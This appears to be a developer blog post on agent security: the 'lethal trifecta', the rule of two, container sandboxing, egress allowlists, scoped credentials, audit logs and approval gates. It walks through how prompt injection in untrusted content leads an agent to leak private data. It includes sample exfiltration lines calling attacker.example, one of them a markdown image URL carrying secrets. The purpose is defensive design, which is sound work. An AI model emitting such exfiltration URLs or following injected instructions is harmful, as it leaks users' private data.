Tarık Şenkal
Writing
Agent Sandboxing and Permissions: Avoiding the Lethal Trifecta
Security 6 min read

Agent Sandboxing and Permissions: Avoiding the Lethal Trifecta

The lethal trifecta, the rule of two, a tool permission matrix, container isolation, egress filtering and an audit-log schema that doubles as a compliance trail.

İsmail Tarık Şenkal
AI developer · Co-founder at HatsonTech

An agent’s security is not measured by how well the model was instructed, but by what it can do once it has been fooled. This article is entirely about the second question: which tools you hand it, which identity it runs as, where it can make network requests, and what remains afterwards when something goes wrong.

The lethal trifecta and the rule of two

Two heuristics entered shared vocabulary in 2025-2026. The first is the lethal trifecta: if an agent simultaneously (a) has access to private data, (b) reads untrusted content and (c) can communicate externally, then data exfiltration is not a possibility but a matter of time. The attacker embeds instructions in the untrusted content, the agent reads private data, and it leaves through the external channel.

The LLM vendors are not going to save us — we have to avoid the lethal trifecta ourselves.

The second is Meta’s Agents Rule of Two: an agent may operate autonomously with at most two of those three properties; all three requires human approval. As an architectural constraint it is unusually practical, because you can ask the question at design time.

The escape routes in practice: cut network access for the agent that reads private data; separate the agent reading untrusted content from private data entirely (two agents, two identities); or reduce external egress to a single structured, validated channel.

A tool permission matrix

What is missing almost everywhere is not a table but an executable matrix. Classify tools by capability and attach policy to each class.

Running this check in CI matters. The lethal trifecta forms while tools are added one at a time — nobody thinks “I am adding an exfiltration capability to this agent”, they just add a URL fetcher. Encoding the rule makes the moment visible.

Isolation: containers and egress filtering

Any agent that executes code or touches a filesystem must be isolated. The minimum:

# Minimum isolation for code execution
docker run --rm \
  --network none \                    # no network (use a proxy if needed)
  --read-only \                       # read-only root filesystem
  --tmpfs /tmp:size=64m \             # only scratch space is writable
  --memory 512m --cpus 1 \            # resource limits
  --pids-limit 128 \
  --cap-drop ALL \                    # drop all Linux capabilities
  --security-opt no-new-privileges \
  agent-sandbox:1.4 python /job/run.py
bash

Where network access is genuinely required, replace --network none with an allowlisted egress proxy. The critical properties are that the allowlist works at domain granularity and that the default is deny. Exfiltration is rarely exotic; it is usually an ordinary GET https://attacker.example/?data=....

Tip: Do not forget markdown image URLs. An image the agent emits as ![](https://attacker.example/?v=SECRETS) exfiltrates the moment your UI renders it. Disable remote image loading in the client that displays agent output, or pass image URLs through the same allowlist.

Identity: short-lived, narrowly scoped

The most common production mistake is running the agent as one broadly privileged service account. That account accretes access over time, because every new feature adds one more grant and nobody ever removes one.

Three rules cover the correct arrangement. One: the agent should act with the privileges of the user who triggered the action — make the authorization decision in the data layer, not the agent layer. Two: tokens should be short-lived; if an agent task’s lifetime is measured in minutes, so should the token’s be. Three: narrow the scope — use separate credentials for reads and writes, so that a leaked read token cannot write.

Why this is urgent is visible in OWASP’s Q1 2026 incident round-up: an actively exploited RCE affecting twelve to fifteen thousand exposed instances, indirect-injection exfiltration cases, and a privilege escalation on a cloud AI platform. The telling detail: across eight major incidents only one traditional CVE was assigned — because most of these were configuration and design failures rather than software defects.

An audit-log schema

What you have after an incident depends entirely on what you recorded before it. An agent audit log can double as a personal-data processing record, so you do not need a second system for compliance. The minimum schema:

Two columns make the difference. Without identity_scope you cannot answer “how was this agent able to reach this data”. The personal_data flag lets you find, in minutes rather than weeks, which records a data-subject request has to sweep — and it is very painful to add retroactively.

Designing the approval gate

Badly designed human approval is not security but security theatre. Three rules:

  1. Show effect, not intent. Not “shall I clean up the files?” but “these 14 files will be deleted: …”. If the user cannot see what they approved, the approval is void.
  2. Ask rarely. A system that asks on every tool call is being rubber-stamped by day three. Only irreversible, high-impact actions should prompt.
  3. Bind approval to the action, not the session. An “always allow for this session” option is the most common door through which the lethal trifecta opens.

A closing design test: if describing your system requires the sentence “the model knows it is not allowed to do that”, there is no security control at that point. Model knowledge is a suggestion; a gate is a rule.

Key takeaways

  • The lethal trifecta — private data plus untrusted content plus external comms — makes exfiltration a matter of time.
  • Run the trifecta check in CI; the risk assembles itself one tool at a time, unnoticed.
  • Run code-executing agents in a network-isolated, read-only, resource-capped container with allowlisted egress.
  • Record identity scope and a personal-data flag in the audit log; neither can be added after the fact.
What is the lethal trifecta?

An agent simultaneously having access to private data, reading untrusted content, and being able to communicate externally. With all three present, an attacker can embed instructions in untrusted content and have private data leave through the external channel. Meta's rule of two suggests permitting at most two, requiring human approval when all three are needed.

How do I sandbox an agent?

Run code-executing agents in a container with no network, a read-only root filesystem, memory and process limits, and all Linux capabilities dropped. Where network access is required, use a domain-level allowlisted egress proxy with deny as the default.

How does least privilege apply to agents?

Run the agent with the privileges of the user who triggered the action rather than its own broad service account, and make the authorization decision in the data layer. Keep tokens as short-lived as the task, and use separate credentials for reads and writes.


Isolation and permissions are the part of agent security that is not theatre. For the attack itself see prompt injection and jailbreaks, for checks on model output see guardrails and content moderation, and for how tools are described to the model see function calling and structured output.

İsmail Tarık Şenkal
Author
İsmail Tarık Şenkal

In short: I turn artificial intelligence that comes out of research into products people can rely on day to day.

Related posts